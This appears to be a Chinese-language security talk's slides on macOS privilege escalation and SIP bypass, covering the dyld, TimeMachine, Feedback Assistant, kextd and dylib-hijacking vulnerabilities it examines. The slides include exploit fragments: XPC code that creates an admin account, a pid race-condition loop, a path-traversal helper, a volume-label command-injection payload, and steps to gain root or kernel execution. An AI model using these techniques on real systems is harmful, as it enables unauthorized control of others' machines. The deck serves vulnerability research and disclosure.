  76. dyld_process_is_restricted
    • dyld 在如下情况会将进程标记为受限制
    • 可执行文件具有 setuid 属性
    • 存在 __restrict 或者 __RESTRICT 区段
    • 代码签名中有 entitlement
    • 受限制的进程会忽略 DYLD_* 环境变量
    • 在 SIP 关闭后,对进程不做限制

    View full-size slide

  77. 关闭 SIP 的后果
    • SIP 可进入 Recovery Mode 后 csrutil disable 关闭
    • 关闭后 dyld 不限制模块注入 DYLD_INSERT_LIBRARIES
    • 注入模块到具有特殊 entitlement 的可执行文件
    • 一定条件下可直接提升权限到 root
    bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0);
    uint32_t flags;
    if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) {
    // On OS X CS_RESTRICT means the program was signed with
    entitlements
    if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) {
    gLinkContext.processIsRestricted = true;
    }

    View full-size slide

  78. DEFCON 26 Quals IPwnKit 非预期解
    • 题目:攻击具有漏洞的自定义内核扩展
    • 环境:当时最新版全补丁的 macOS,为了加载扩展关闭
    了 SIP
    • 非预期解
    • 使用 DYLD_INSERT_LIBRARIES注入
    /System/Library/CoreServices/Setup
    Assistant.app/Contents/MacOS/Setup Assistant
    • 具有 com.apple.mbsystemadministration特权
    • 可通过 XPC 服务直接创建管理员权限账户并设置密码
    • 创建一个新账户,使用 sudo获取 root 权限
    • 急速拿到 first blood

    View full-size slide

  79. NSString *kXPCServiceName = @"com.apple.mbsystemadministration";
    NSXPCConnection *conn = [[NSXPCConnection alloc]
    initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged];
    conn.remoteObjectInterface = [NSXPCInterface
    interfaceWithProtocol:@protocol(MBSAProtocol)];
    [conn resume];
    id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {}];
    NSDictionary *info = @{
    @"kUserName" : @kUserName,
    @"kUserFullName" : @kUserName,
    @"kHint" : @"ourhardworkbythesewordsguardedpleasedontsteal",
    @"kPassword" : @kPassword,
    @"kAdministrator" : @YES,
    };
    dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
    [remote createUserWithInfo:info completionBlock:^(unsigned int state) {
    dispatch_semaphore_signal(wait_for);
    }];
    dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull *
    NSEC_PER_SEC));

    View full-size slide

  80. Rootpipe
    • https://en.wikipedia.org/wiki/Rootpipe
    • https://www.slideshare.net/Synack/stick-that-in-your-rootpipe-smoke-it

    View full-size slide

  81. TimeMachine
    命令注入

    View full-size slide

  82. 接口
    ➜ ~ r2
    /System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns
    /osx-timemachine.appex/Contents/XPCServices/timemachinehelper
    [0x100001800]> icc
    @interface HelperDelegate :
    {
    }
    - (char) listener:shouldAcceptNewConnection:
    - (void) runDiagnosticWithDestinationDir:replyURL:
    @end

    View full-size slide

  83. 传入目的路径的 NSURL,以
    root 执行
    /usr/bin/tmdiagnose -r -w -f
    查找匹配
    \.tmdiagnost(e|tic)\.zip$ 的文
    件返回

    View full-size slide

  84. 漏洞
    • 未对目标路径做检查
    • 写入任意已存在的目录
    • 无法完整控制写入内容
    • 更新目录的修改时间
    • 暂时无法直接利用?

    View full-size slide

  85. 2018–06–24 18:03:46.131 tmdiagnose[15529:a03] Executing `/usr/sbin/spindump -notarget 15 -
    file /private/var/tmp/[email protected]/system_state_18.03.46/spindump.txt`
    2018–06–24 18:03:48.206 tmdiagnose[15529:1d03] Executing `/usr/bin/fs_usage -w -t 10 -e
    tmdiagnose`
    2018–06–24 18:04:10.392 tmdiagnose[15529:4d03] Executing `/bin/ps auxh`
    2018–06–24 18:04:10.652 tmdiagnose[15529:4d03] Executing `/usr/bin/top -l 10`
    2018–06–24 18:04:20.631 tmdiagnose[15529:5203] Executing `/usr/bin/powermetrics -i 1000 -n
    10 — show-all`
    2018–06–24 18:04:31.227 tmdiagnose[15529:a03] Executing `/usr/bin/sample -file
    /private/var/tmp/[email protected]/samples/backupd.txt backupd 5`
    2018–06–24 18:04:36.915 tmdiagnose[15529:a03] Executing `/usr/bin/sample -file
    /private/var/tmp/[email protected]/samples/Finder.txt Finder 5`
    2018–06–24 18:04:42.351 tmdiagnose[15529:1f03] Executing `/bin/ls -la /Volumes/`
    2018–06–24 18:04:42.418 tmdiagnose[15529:1f03] Executing `/bin/df -H`
    2018–06–24 18:04:42.486 tmdiagnose[15529:1f03] Executing `/sbin/mount`
    2018–06–24 18:04:42.556 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil list`
    2018–06–24 18:04:42.692 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil cs list`
    2018–06–24 18:04:42.760 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil apfs list`
    2018–06–24 18:04:42.956 tmdiagnose[15529:1f03] Executing `/bin/bash -c /usr/sbin/diskutil
    list | /usr/bin/awk ‘/disk/ {system(“/usr/sbin/diskutil info “$NF); print
    “*********************”}’`
    2018–06–24 18:06:54.482 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt mds’…
    2018–06–24 18:06:54.485 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt mds_stores’…
    2018–06–24 18:06:54.485 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt
    corespotlightd’…
    tmdiagnose 通过 NSTask 执行多个外部命令:

    View full-size slide

  86. 两处 bug
    • 替换可执行文件
    • /usr/local/bin/ddt 系统默认环境不存在
    • 如果安装了 brew,会将 /usr/local/bin 设置为全局可写
    • 普通权限写入此文件,调用诊断服务,获得 root 权限执行
    • brew 装机量巨大,但始终不是缺省安装
    • 命令注入
    • NSTask 仅能参数注入,不能注入shell 命令
    • 但 awk 的 system 可以:
    # /usr/sbin/diskutil list | /usr/bin/awk '/disk/
    {system("/usr/sbin/diskutil info "$NF); print
    “*********************"}’
    • 提取 diskutil list 的结果,搜索disk 关键字,并拼接最后一列字
    符串到 system 函数的命令中
    • 可造成 root 权限下的命令注入

    View full-size slide

  87. ➜ ~ /usr/sbin/diskutil list
    /dev/disk0 (internal, physical):
    #: TYPE NAME SIZE IDENTIFIER
    0: GUID_partition_scheme *251.0 GB disk0
    1: EFI EFI 209.7 MB disk0s1
    2: Apple_APFS Container disk1 250.8 GB disk0s2
    /dev/disk1 (synthesized):
    #: TYPE NAME SIZE IDENTIFIER
    0: APFS Container Scheme - +250.8 GB disk1
    Physical Store disk0s2
    1: APFS Volume Macintosh HD 231.8 GB disk1s1
    2: APFS Volume Preboot 44.5 MB disk1s2
    3: APFS Volume Recovery 517.0 MB disk1s3
    4: APFS Volume VM 4.3 GB disk1s4
    • 卷标可通过创建dmg 磁盘映像并 mount 的方式控制(hdiutil-
    volname),无需特殊权限
    • 但 awk 中的 $NF 运算符指向最后一列,在此处为identifier,不可

    View full-size slide

  88. CRLF 注入回车:hello\nworld
    当前 $NF 的值为 hello

    View full-size slide

  89. • (除回车外的)空白字符会被 awk 当作制表符,不能使用
    • 卷标总长度不能超过 23,否则会被省略号截断
    • 可使用 shell 语法的反引号`id` 或 $(id) 注入命令
    • 卷标必须包含 disk 关键字

    View full-size slide

  90. payload
    • shell当前目录为 /,用户为 root
    • 使用通配符缩短payload 长度
    • /Applications 和 /tmp 全局可写
    • /A*/1 可匹配 /Applications/1
    • /t*/1 可匹配 /tmp/1
    • 最终 payload
    • disk`t*/1`\nA

    View full-size slide

  91. 利用步骤
    • 普通用户下执行利用
    • 生成可执行文件副本或符号链接到/tmp/1
    • 生成恶意卷标的dmg 映像,mount
    • 发送 XPC 消息请求到timemachinehelper,等待,profit!

    View full-size slide

  92. Feedback
    Assistant
    条件竞争

    View full-size slide

  93. pid 的安全问题
    • 系统回收重用
    • 进程 id 上限很容易达到(>100k)
    • 操作系统会复用已退出进程的 pid
    • 保留 pid 创建新进程
    • posix_spawn 的 POSIX_SPAWN_SETEXEC 标志位
    • exec / execl / execve 系列函数
    • 同一个 pid 可能代表完全不同的进程
    • 基于 pid 的安全检查不可靠,且不是 macOS 特有的问题

    View full-size slide

  94. pid 的安全问题
    • Android 多个基于 getpidcon() 的漏洞
    • https://bugs.chromium.org/p/project-zero/issues/detail?id=727
    (AndroidID-27111481; unexploitable)
    • https://bugs.chromium.org/p/project-zero/issues/detail?id=851
    (AndroidID-29431260; getpidcon() used in the servicemanager)
    • https://bugs.chromium.org/p/project-zero/issues/detail?id=1404
    (AndroidID-68217907; getpidcon() used in the hardware service
    manager)
    • https://bugs.chromium.org/p/project-zero/issues/detail?id=1406
    (AndroidID-68217699; getpidcon() used in the keystore)
    • https://bugs.chromium.org/p/project-zero/issues/detail?id=1741
    (AndroidID-121035042; getpidcon() usage in hardware binder
    servicemanager)

    View full-size slide

  95. pid 的安全问题
    • https://phoenhex.re/2017-07-06/pwn2own-sandbox-
    escape#performing-the-right-check-on-the-wrong-process
    phoenhex 团队在 PwnOwn2017 使用的 authd 漏洞,在错
    误的进程 id 上做权限检查
    • https://bugs.chromium.org/p/project-
    zero/issues/detail?id=1223 macOS 用户态跨进程代码签名
    检查的通用绕过,使用 fork 和 exec 触发 pid 的 TOCTOU

    View full-size slide

  96. audit_token_t
    • 为克服 pid 复用带来的问题,macOS 提供 audit_token_t
    结构
    • 除 pid 外还有 p_idversion,为保证无法复用
    audit_token.val[0] = my_cred->cr_audit.as_aia_p->ai_auid;
    audit_token.val[1] = my_pcred->cr_uid;
    audit_token.val[2] = my_pcred->cr_gid;
    audit_token.val[3] = my_pcred->cr_ruid;
    audit_token.val[4] = my_pcred->cr_rgid;
    audit_token.val[5] = p->p_pid;
    audit_token.val[6] = my_cred->cr_audit.as_aia_p->ai_asid;
    audit_token.val[7] = p->p_idversion;

    View full-size slide

  97. audit_token_t
    • 然而还是出过问题
    • https://bugs.chromium.org/p/project-
    zero/issues/detail_ezt?id=1757 XNU: pidversion increment
    during execve is unsafe
    • This is likely done to prevent another attack where a process sends
    an IPC message, then immediately execve's a privileged binary. The
    problem here is that the pidversion is incremented "ad-hoc",
    without updating the global nextpidversion variable. With that it
    becomes possible to create two processes with the same (pid,
    pidversion) pair without wrapping around the 32-bit pidversion

    View full-size slide

  98. audit_token_t
    • 用户态检查 audit_token_t 的函数都是私有 API
    • xpc_connection_get_audit_token
    • [NSXPCConnection auditToken]
    • 通过 pid 检查代码签名从而导致绕过的模式仍然大量存
    在于第三方软件中

    View full-size slide

  99. 漏洞分析
    • Feedback Assistant 用于收集反馈信息和诊断日志
    • com.apple.appleseed.fbahelperd 服务以 root 权限运行,
    提供信息收集接口

    View full-size slide

  100. -[FBAPrivilegedDaemonlistener:shouldAcceptNewConnection:] 方法使用基于 pid 的
    安全检查,判断对方进程是否满足代码签名要求

    View full-size slide

  101. 绕过
    • 由于使用了 NSXPC,在 fork 和 exec 之间调用 ObjectiveC
    运行时会导致程序崩溃
    • 10.13 后可使用OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES 环境
    变量,或在可执行文件添加 __DATA,__objc_fork_ok section 解决
    • 使用 NSTask 或者 posix_spawn 创建多个子进程
    • 子进程同时开始向服务发送 XPC 请求,阻塞其消息队列
    • 子进程使用 posix_spawn 的 POSIX_SPAWN_SETEXEC |
    POSIX_SPAWN_START_SUSPENDED 标志启动白名单进程并
    暂停之
    • 服务在多个消息回调之间触发条件竞争,误认为 XPC 消
    息来源可信

    View full-size slide

  102. #define COUNT 10
    int pids[COUNT];
    for (int i = 0; i < COUNT; i++) {
    int pid = fork();
    if (pid == 0) {
    xpc_connection_t connection =
    xpc_connection_create_mach_service("Helper", NULL,
    XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {});
    xpc_connection_resume(connection);
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_connection_send_message(connection, message);
    char* target_binary = “/path/to/valid signed binary”;
    char* target_argv[] = {target_binary, NULL};
    exec_blocking(target_binary, target_argv, environ);
    } else {
    pids[i] = pid;
    }
    }
    sleep(1);
    for (int i = 0; i < COUNT; i++) {
    pids[i] && kill(pids[i], 9);
    }
    绕过

    View full-size slide

  103. 绕过
    • 由于进程已被替换,正常情况下的 NSXPC 回调永远不会
    触发
    • 可根据方法的具体行为判断是否成功
    • 文件和进程的创建等
    • 查看调试日志

    View full-size slide

  104. 利用
    • 绕过签名检查后,查找可以滥用的方法

    View full-size slide

  105. 接口
    @protocol FBAPrivilegedDaemon
    - (void)copyLogFiles:(NSDictionary *)arg1;
    - (void)gatherInstallLogsWithDestination:(NSURL *)arg1;
    - (void)gatherSyslogsWithDestination:(NSURL *)arg1;
    - (void)sampleProcessWithPID:(unsigned long long)arg1
    withDestination:(NSURL *)arg2;
    - (void)runMDSDiagnoseWithDestination:(NSURL *)arg1;
    - (void)runTMDiagnoseWithDestination:(NSURL *)arg1;
    - (void)runBluetoothDiagnoseWithDestination:(NSURL *)arg1
    shortUserName:(NSString *)arg2;
    - (void)runWifiDiagnoseWithDestination:(NSURL *)arg1;
    - (void)runSysdiagnoseWithDestination:(NSURL *)arg1 arguments:(NSArray
    *)arg2;
    - (void)runSysdiagnoseWithDestination:(NSURL *)arg1;
    - (void)runMobilityReportWithDestination:(NSURL *)arg1;
    - (void)runSystemProfileWithDetailLevel:(NSString *)arg1
    destination:(NSURL *)arg2;
    - (void)stopDaemon;
    - (void)showPrivileges;
    - (void)performReadyCheck;
    @end

    View full-size slide

  106. 任意文件复制
    • copyLogFiles: 方法接受传入的参数执行文件系统复制操

    • 路径前缀检查
    • 源路径
    • /Library/Logs
    • /var/log
    • 目的地
    • /var/folders/
    • /private/var/
    • /tmp/
    • 包含 Library/Caches/com.apple.appleseed.FeedbackAssistant
    • 可以用目录穿越“../”绕过
    • 不能覆盖已存在的文件

    View full-size slide

  107. NSMutableDictionary *traversal(NSDictionary *mapping) {
    NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];
    for (NSString *key in mapping) {
    NSString *val = mapping[key];
    NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];
    NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
    transformed[newKey] = newVal;
    }
    return transformed;
    }

    View full-size slide

  108. 任意文件复制
    • 读取限制了 root 权限的文件
    • 账户密码 hash
    • CTF flag
    • 写入需要 root 权限的路径
    • 仍然受 SIP 限制
    • 不能覆盖已有文件
    • 复制完成后会修改文件的owner 属性

    View full-size slide

  109. 提权思路
    • 不能覆盖
    • 覆盖管理员密码 /var/db/dslocal/nodes/Default/users❌
    • 覆盖具有 suid 的可执行文件 ❌
    • 覆盖已有的 PrivilegeHelpers ❌
    • crontab ❌
    • 修复 owner
    • 添加 sudoer ❌
    • 创建新 /Library/LaunchDaemons 项目❌

    View full-size slide

  110. 提权思路
    • Helper 服务实现了多个 run*diagnoseWithDestination 方

    • 均为 NSTask 调用外部命令行

    View full-size slide

  111. 提权利用
    • runTMDiagnoseWithDestination: 和 timemachinehelper 行
    为一致,甚至可以触发之前的 TimeMachine 命令注入
    • runMDSDiagnoseWithDestination: 方法调用
    /usr/bin/mddiagnose,最终执行一个不存在的文件
    /usr/local/bin/ddt
    • 使用之前的任意文件复制漏洞生成此文件
    • 等待约 10 秒,/usr/bin/top 命令执行结束后触发
    • runMobilityReportWithDestination: 执行 shell 脚本
    • /System/Library/Frameworks/SystemConfiguration.framework/Vers
    ions/A/Resources/get-mobility-info

    View full-size slide

  112. 提权利用
    • get-mobility-info 依赖多个 /usr/local/bin 下的程序,检查
    存在后触发执行
    • 此方法可在毫秒级完成提权利用

    View full-size slide

  113. 内核提权

    View full-size slide

  114. 目的
    • 绕过或彻底禁止 System Integrity Protection (Rootless)
    • /System 等目录即使 root 也不可写入
    • macOS 预装的软件无法被调试器附加
    • 强制要求内核扩展具有代码签名
    • 部署 rootkits
    • 获得更高 pwn 分数

    View full-size slide

  115. 思维界限
    • 常规思路
    • 攻击 XNU 内核或其他正在运行的KEXT
    • 不用内存破坏?
    • 攻击用户态的进程?
    • 反过来先绕 SIP 再打内核?

    View full-size slide

  116. 一种攻击面

    View full-size slide

  117. kext_tools 打补丁
    二进制修改 kextd (@osxreverser, 2013 年)

    View full-size slide

  118. kext_tools 打补丁
    自行编译 kextload (@patrickwardle, BlackHat US 2015)

    View full-size slide

  119. Ian Beer: hold my beer
    • Issue 676: Logic error when exec-ing suid binaries allows
    code execution as root on OS X/iOS (CVE-2015-3708)
    • Issue 353: OS X kextd bad path checking and toctou allow a
    regular user to load an unsigned kernel extension (CVE-
    2015-3709)
    • Issue 1520: MacOS double mach_port_deallocate in kextd
    due to failure to comply with MIG ownership rules (CVE-
    2018-4139)

    View full-size slide

  120. Ian Beer: hold my beer
    • Issue 676: Logic error when exec-ing suid binaries allows
    code execution as root on OS X/iOS (CVE-2015-3708)
    用户态逻辑漏洞
    • Issue 353: OS X kextd bad path checking and toctou allow a
    regular user to load an unsigned kernel extension (CVE-
    2015-3709)
    用户态逻辑漏洞
    • Issue 1520: MacOS double mach_port_deallocate in kextd
    due to failure to comply with MIG ownership rules (CVE-
    2018-4139)
    用户态,MIG 生命周期

    View full-size slide

  121. kextd 任意代码执行 == XNU 内核任意代码执行

    View full-size slide

  122. Kextd 的特殊能力
    • Entitkenebt
    • MachO 的代码签名中嵌入特殊的XML (plist) 信息,赋予文件额
    外的能力
    • 更灵活的 suid
    • 可供用户态和内核的 RPC 检查调用者权限
    • 与代码签名绑定防止被滥用
    • 部分 entitlement 仅 Apple 自带可执行文件可以使用
    “taskgated: killed app because its use of the com.apple.***
    entitlement is not allowed”

    View full-size slide

  123. ➜ ~ jtool --ent /usr/libexec/kextd -arch x86_64

    "http://www.apple.com/DTDs/PropertyList-1.0.dtd">


    com.apple.private.KextAudit.user-access

    com.apple.private.allow-bless

    com.apple.private.kernel.get-kext-info

    com.apple.rootless.kext-secure-management

    com.apple.rootless.storage.KernelExtensionManagement

    com.apple.security.cs.allow-unsigned-executable-memory



    kextd 的特殊能力

    View full-size slide

  124. kextd 的特殊能力
    • com.apple.rootless.kext-secure-management
    管理内核扩展
    • com.apple.rootless.storage.KernelExtensionManagement
    写入受保护的 KEXT Staging 目录
    • 有三个文件签发了这些 entitlement
    • kextd
    • kextload
    • kextutil

    View full-size slide

  125. KEXT 有效性验证
    • 由 kext_tools 的 authenticateKext函数实现
    • 检查文件系统属性:owner 为 root,其他用户组不可写
    • 检查 bundle 数字签名
    • 复制到 staging 目录 /Library/StagedExtensions
    • 与 syspolicyd 进程通信,询问用户是否放行(User-
    Approved Kernel Extension Loading / SKEL)
    • 如果 SIP 被关闭,部分检查会跳过
    • 不检查签名
    • 不使用 Staging

    View full-size slide

  126. Approved Kernel Extension Loading
    • 即使第三方内核扩展具有
    合法签名,仍然需要用户
    允许才能载入
    • 由用户态的 syspolocyd 进
    程管理,而不是 XNU
    • 规则保存在一个 SQLite 数
    据库
    • 数据库受 SIP 保护

    View full-size slide

  127. ➜ ~ sudo file /var/db/SystemPolicyConfiguration/KextPolicy
    /var/db/SystemPolicyConfiguration/ExecPolicy: SQLite 3.x database, last written using
    SQLite version 3024000
    ➜ ~ sudo xattr /var/db/SystemPolicyConfiguration/
    com.apple.rootless
    ➜ ~ sudo sqlite3 /var/db/SystemPolicyConfiguration/KextPolicy
    SQLite version 3.24.0 2018-06-04 14:10:15
    Enter ".help" for usage hints.
    sqlite> .tables
    kext_load_history_v3 kext_policy_mdm
    kext_policy settings
    sqlite> .header on
    sqlite> select * from kext_policy;
    team_id|bundle_id|allowed|developer_name|flags
    9PTGMPNXZ2|com.symantec.kext.SymAPComm|1|Symantec|8
    9PTGMPNXZ2|com.symantec.kext.ndcengine|1|Symantec|8
    9PTGMPNXZ2|com.symantec.kext.internetSecurity|1|Symantec|8
    9PTGMPNXZ2|com.symantec.kext.ips|1|Symantec|8
    Z3L495V9L4|com.intel.kext.intelhaxm|1|Intel Corporation Apps|1
    VB5E2TV963|org.virtualbox.kext.VBoxDrv|1|Oracle America, Inc.|1
    VB5E2TV963|org.virtualbox.kext.VBoxUSB|1|Oracle America, Inc.|1
    VB5E2TV963|org.virtualbox.kext.VBoxNetFlt|1|Oracle America, Inc.|1
    VB5E2TV963|org.virtualbox.kext.VBoxNetAdp|1|Oracle America, Inc.|1
    EQHXZ8M8AV|com.google.santa-driver|0|Google, Inc.|4
    EG7KH642X6|com.vmware.kext.vmci|1|VMware, Inc.|5
    EG7KH642X6|com.vmware.kext.vmnet|1|VMware, Inc.|5
    EG7KH642X6|com.vmware.kext.vmx86|1|VMware, Inc.|5
    EG7KH642X6|com.vmware.kext.vmioplug.17.1.4|1|VMware, Inc.|5

    View full-size slide

  128. @interface KextManagerPolicy : NSObject
    - (BOOL)canLoadKernelExtensionAtURL:(id)url isCacheLoad:(BOOL)cache;
    @end
    @interface SPKernelExtensionPolicy : NSObject
    - (char) canLoadKernelExtension:(id)ext error:(NSError *)err;
    - (char) canLoadKernelExtensionInCache:(id)ext error:(NSError *)err;
    @end
    kextd
    syspolicyd
    CREATE TABLE kext_load_history_v3 ( path TEXT PRIMARY KEY, team_id TEXT,
    bundle_id TEXT, boot_uuid TEXT, created_at TEXT, last_seen TEXT, flags INTEGER
    );
    CREATE TABLE kext_policy ( team_id TEXT, bundle_id TEXT, allowed BOOLEAN,
    developer_name TEXT, flags INTEGER, PRIMARY KEY (team_id, bundle_id) );
    CREATE TABLE kext_policy_mdm ( team_id TEXT, bundle_id TEXT, allowed BOOLEAN,
    payload_uuid TEXT, PRIMARY KEY (team_id, bundle_id) );
    CREATE TABLE settings ( name TEXT, value TEXT, PRIMARY KEY (name) );
    XPC
    根据数据库决定弹框 / 放行 / 拒绝

    View full-size slide

  129. SKEL 绕过
    • 三种方式任选其一
    • 在具有 rootless 写入权限的进程中执行代码,修改KextPolicy 数
    据库
    • 获取 syspolicyd 进程的 task port,hook 如下方法返回YES
    -[KextManagerPolicy canLoadKernelExtensionAtURL:isCacheLoad:]
    • 获取 kextd 进程的 task port,hook 如下方法返回YES
    -[SPKernelExtensionPolicy canLoadKernelExtensionInCache:error]

    View full-size slide

  130. 攻击内核
    • XNU 自身并不检查 kext 的合法性
    • 只要调用者具有 com.apple.rootless.kext-secure-
    management entitlement,XNU就会放行其 kext_request
    调用
    • 权限检查和数字签名检查都由用户态 kext_tools 完成
    • 只要能获取到 entitlement,就可以控制内核执行代码
    • 也可以尝试运行时获取特权进程的 task port,注入代码
    • 仍然需要绕过 SIP

    View full-size slide

  131. 劫持 entitlement

    View full-size slide

  132. Windows 的 DLL 劫持
    • 滥用 DLL 路径搜索,诱导程序加载恶意运行库
    • UAC 类似 sudo
    • UAC 对白名单内的程序提权操作不做提示
    • 使用 dll 劫持漏洞注入代码到白名单程序,绕过弹窗
    static const char* uacTargetDir[] = { "system32\\sysprep", "ehome" };
    static const char* uacTargetApp[] = { "sysprep.exe", "mcx2prov.exe" };
    static const char* uacTargetDll[] = { "cryptbase.dll", "CRYPTSP.dll" };
    static const char* uacTargetMsu[] = { "cryptbase.msu", "CRYPTSP.msu" };
    static bool Exec( DWORD* exitCode, char *msg, ... );
    static bool InfectImage( PVOID data, DWORD dataSize, char *dllPath, char
    *commandLine );
    bool RunDllBypassUAC( const LPVOID module, int szModule, int method )
    来自真实恶意软件的代码片段

    View full-size slide

  133. dylib 劫持

    View full-size slide

  134. dylib 劫持
    • 类似地,使用 dylib 劫持可以窃取宿主进程 entitlement
    • 已知手段
    • LC_LOAD_WEAK_DYLIB 和相对路径的 @rpath,会以相对路径加
    载动态库
    https://www.virusbulletin.com/virusbulletin/2015/03/dylib-
    hijacking-os-x
    • 动态的 dlopen 调用
    • 类似 dlopen 的 Objective C 运行时函数
    • NSBundle
    • CFBundleLoadExecutable
    • CFBundleLoadExecutableAndReturnError

    View full-size slide

  135. CoreSymbolication
    VM Regions Near 0xdeadbf57:
    -->
    __TEXT 0000000108b04000-0000000108b05000 [ 4K] r-x/rwx
    SM=COW /tmp/*
    Application Specific Information:
    dyld2 mode
    Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
    0 libsystem_c.dylib 0x00007fff5da2859c flockfile + 18
    1 libsystem_c.dylib 0x00007fff5da2b570 fwrite + 66
    2 test 0x0000000108b04f82 main + 82
    3 libdyld.dylib 0x00007fff5d9a43d5 start + 1
    Thread 0 crashed with X86 Thread State (64-bit):
    rax: 0x00000001171ee66c rbx: 0x00000000deadbeef rcx: 0x00000001171ee66c rdx:
    0x0000000000000001
    CoreSymbolication框架为崩溃日志和诊断信息提供上下文符号化

    View full-size slide

  136. handle = _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib", 1);
    if (((handle == 0) && ((len = get_path_relative_to_framework_contents(“../../Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/”,
    “libswiftDemangle.dylib”, alternative_path, 0x400), len == 0 || (handle = _dlopen(alternative_path, 1), handle == 0)))) && ((len2 =
    get_path_relative_to_framework_contents(“../../usr/lib/libswiftDemangle.dylib”, alternative_path, 0x400), len2 == 0 || (handle =
    _dlopen(alternative_path, 1), handle == 0)))) {
    handle_xcselect = _dlopen("/usr/lib/libxcselect.dylib", 1);
    if (handle_xcselect == 0)
    goto cleanup;
    p_get_dev_dir_path = (undefined *)_dlsym(handle_xcselect, "xcselect_get_developer_dir_path");
    if ((p_get_dev_dir_path == (undefined *)0x0) || (cVar2 = (*(code *)p_get_dev_dir_path)(alternative_path, 0x400, &local_42b, &local_42a,
    &local_429), cVar2 == 0)) {
    handle = 0;
    } else {
    _strlcat(alternative_path, "/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib", 0x400);
    handle = _dlopen(alternative_path, 1);
    }
    _dlclose(handle_xcselect);
    if (handle == 0)
    goto cleanup;
    }
    __ZL25demanglerLibraryFunctions.0 = _dlsym(handle, "swift_demangle_getSimplifiedDemangledName");
    cleanup :
    if (*(long *)___stack_chk_guard != lVar1) {
    /* WARNING: Subroutine does not return */
    ___stack_chk_fail();
    }
    return;

    View full-size slide

  137. 劫持点
    • CoreSymbolication 调用外部动态库处理 swift 符号
    • libswiftDemangle.dylib!swift_demangle_getSimpl
    ifiedDemangledName
    • 按照如下顺序搜索 libswiftDemangle.dylib
    • /System/Library/PrivateFrameworks/Swift/
    • /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/
    • /usr/lib/
    • ${xcselect_get_developer_dir_path()}/Toolchains/XcodeDefault.xct
    oolchain/usr/lib/

    View full-size slide

  138. 劫持点
    • xcselect.dylib!xcselect_get_developer_dir_path 函数会返
    回 DEVELOPER_DIR 环境变量的值
    00001287 lea rdi,[s_DEVELOPER_DIR_000025b9] ; = "DEVELOPER_DIR"
    0000128e call __stubs::_getenv ; char * _getenv(char * param_1)
    00001293 mov r14,rAX
    00001296 test r14,r14
    00001299 jz env_not_set
    0000129b mov r13,rbx
    0000129e mov rdi,r14
    000012a1 mov rsi,r12
    000012a4 mov ebx,dword ptr [local_440 + rbp]
    000012aa mov edx,ebx
    000012ac mov rcx,r15
    000012af call _xcselect_find_developer_contents_from_path ; undefined
    _xcselect_find_develop
    000012b4 test found,found
    000012b6 jz LAB_000013a6
    000012bc mov rdi,r12
    000012bf mov rsi,r14
    000012c2 call __stubs::_strcmp ; int _strcmp(char * param_1, char
    000012c7 test found,found

    View full-size slide

  139. 劫持点
    • 设置 DEVELOPER_DIR 环境变量并生成目录结构,可尝试
    让 CoreSymbolication 加载指定的动态库
    • 搜索优先级更高的路径已经存在
    • /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib

    View full-size slide

  140. (version 1)
    (allow default)
    (deny file-read*
    (literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib")
    (literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib")
    (literal "/usr/lib/libswiftDemangle.dylib")
    )
    用安全机制做利用
    • 给程序加一层沙箱,阻止访问自带运行库

    View full-size slide

  141. 寻找宿主
    • 宿主程序需要
    • 具有特殊 entitlement
    • 能够触发 dylib 劫持
    • “元”entitlement
    • 如具有 com.apple.system-
    task-ports 特权,可不受
    rootless 限制获取任意进程
    task port
    • 获取 task port 后可在进程
    中执行任意代码,相当于
    继续获取任意 entitlement

    View full-size slide

  142. com.apple.SamplingTools
    • https://developer.apple.com/library/archive/documentation
    /Performance/Conceptual/PerformanceOverview/Performa
    nceTools/PerformanceTools.html
    • 一系列运行时采样程序信息的诊断工具
    ➜ ~ ls
    /usr/bin/{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample
    ,malloc_history32,symbols,vmmap,leaks,stringdups,malloc_history}
    /usr/bin/atos /usr/bin/leaks32 /usr/bin/stringdups32
    /usr/bin/filtercalltree /usr/bin/malloc_history /usr/bin/symbols
    /usr/bin/heap /usr/bin/malloc_history32 /usr/bin/vmmap
    /usr/bin/heap32 /usr/bin/sample /usr/bin/vmmap32
    /usr/bin/leaks /usr/bin/stringdups

    View full-size slide

  143. com.apple.SamplingTools
    ➜ ~ vmmap Finder
    Process: Finder [245]
    Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
    Load Address: 0x107205000
    Identifier: com.apple.finder
    ➜ ~ jtool --ent `which vmmap`

    "http://www.apple.com/DTDs/PropertyList-1.0.dtd">


    com.apple.system-task-ports



    • 可获取受限制进程的 task port
    • 如目标为普通 euid,甚至可以无需 root 权限

    View full-size slide

  144. 攻击场景
    • SIP 默认开启,即使 root 权限也无法调试系统自带进程
    • 劫持 dylib 在 SamplingTools 中获取任意 task_for_pid 权限
    • 注入另一个具有 com.apple.rootless.* 的特权进程绕过 SIP
